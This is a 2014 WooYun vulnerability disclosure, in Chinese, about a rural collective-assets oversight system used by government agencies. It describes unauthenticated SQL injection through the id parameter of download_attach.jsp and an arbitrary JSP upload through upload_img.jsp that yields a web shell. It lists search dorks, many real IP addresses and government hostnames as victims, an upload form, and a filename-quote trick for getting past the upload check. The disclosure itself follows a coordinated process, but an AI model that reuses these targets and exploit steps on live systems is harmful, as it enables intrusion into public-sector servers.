某政府监察平台通用SQL注入、任意文件上传GETSHELL（无需登录）

漏洞概要关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-070866

漏洞标题：某政府监察平台通用SQL注入、任意文件上传GETSHELL（无需登录）

漏洞作者： sex is not show

提交时间：2014-08-04 11:43

修复时间：2014-11-02 11:44

公开时间：2014-11-02 11:44

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签：无

4人收藏收藏
分享漏洞：

漏洞详情

披露状态：

2014-08-04：细节已通知厂商并且等待厂商处理中
2014-08-08：厂商已经确认，细节仅向厂商公开
2014-08-11：细节向第三方安全合作伙伴开放
2014-10-02：细节向核心白帽子及相关领域专家公开
2014-10-12：细节向普通白帽子公开
2014-10-22：细节向实习白帽子公开
2014-11-02：细节向公众公开

简要描述：

周末来一发

详细说明：

开发公司：北京中农信达信息技术有限公司（http://www.agrij.com/）
程序名称：中农信达农村集体三资网络监管系统
漏洞类型：SQL注入，任意文件上传导致代码执行
漏洞文件：/init/download_attach.jsp?id=-1 参数id
/reports/upload_img.jsp 任意文件上传
是否需要登录：否
关键字：inurl:login_form.jsp
intitle:中农信达农村集体三资网络监管系统
影响用户：
以下案例百度搜集，方便演示：

http://202.99.207.13:8081/finance11n/init/download_attach.jsp?id=-1
http://124.164.240.217:8080/finance03/init/download_attach.jsp?id=-1
http://111.12.148.194:7005/finance_qhld/init/download_attach.jsp?id=-1
http://61.185.74.147:8080/finance67/init/download_attach.jsp?id=-1
http://nat.nat123.net:11158/finance/init/download_attach.jsp?id=-1
http://www.cldwcwgk.gov.cn:8083/finance80/init/download_attach.jsp?id=-1
http://116.255.135.35:8082/finance_glx/init/download_attach.jsp?id=-1
http://221.131.81.143:7001/finance_oracle/init/download_attach.jsp?id=-1

一：SQL注入
/init/download_attach.jsp?id=-1
实例演示：
1.
http://111.12.148.194:7005/finance_qhld//init/download_attach.jsp?id=-1

2.
http://124.164.240.217:8080/finance03//init/download_attach.jsp?id=-1

3.
http://219.157.74.6:8080/finance/init/download_attach.jsp?id=-1

4.
http://61.185.74.147:8080/finance67/init/download_attach.jsp?id=-1

5.
http://116.255.135.35:8082/finance_glx/init/download_attach.jsp?id=-1

漏洞证明：

二：任意文件上传
存在文件：/reports/upload_img.jsp
利用本地构造表单提交，还需要改一下post包即可，看演示吧
本地表单代码：

<html>
<form action="http://xxxx.com/financeXXX/reports/upload_img.jsp" name="test" method="post" enctype="multipart/form-data">
<input type="hidden" name="c_path" value="/"/>
<input type="hidden" name="resource_id" value="/"/>
<input type="file" name="uri" size="23" id="file" />
<input type="submit" value="Submit" />
</form>
</html>

实例演示：
1.
http://124.164.240.217:8080/finance03/reports/upload_img.jsp
通过上面的表单提交并抓包，把其中的filename="xxx.jsp"中的第一个引号删掉，看截图：